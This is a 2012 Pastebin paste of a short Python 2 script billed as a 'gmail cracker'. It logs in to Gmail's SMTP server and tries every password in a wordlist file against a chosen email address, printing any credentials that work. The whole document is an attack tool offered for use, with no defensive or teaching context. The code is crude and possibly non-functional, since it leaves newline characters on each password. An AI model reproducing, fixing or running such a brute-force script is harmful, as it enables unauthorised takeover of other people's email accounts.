dberube4

Python gamil Cracker

Sep 28th, 2012
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.88 KB | None | 0 0
  1. import smtplib,time
  2. import socket
  3.  
  4. def main():
  5.    
  6.     File = open('file.txt','r')
  7.     server = smtplib.SMTP("smtp.gmail.com",587)
  8.     server.ehlo()
  9.     server.starttls()
  10.     server.ehlo()
  11.    
  12.     key = raw_input('Press Enter to start cracking')
  13.     if key or not key:
  14.         print "Connected to googlemail", "\n"
  15.         gmail_user = raw_input("Enter mail: ")
  16.    
  17.     while True:
  18.         line = File.readline()
  19.        
  20.         if len(line) == 0: # Zero length indicates EOF
  21.             print('All password tried!')
  22.             raw_input('Press Enter to Exit')
  23.             return None
  24.        
  25.         try:
  26.             server.login(gmail_user, line)
  27.             print "Sucesfully logged in"
  28.             print "Email:", gmail_user
  29.             print "Password:", line
  30.             print
  31.         except:
  32.             pass
  33.        
  34.        
  35.        
  36.        
  37. main()
Add Comment
Please, Sign In to add comment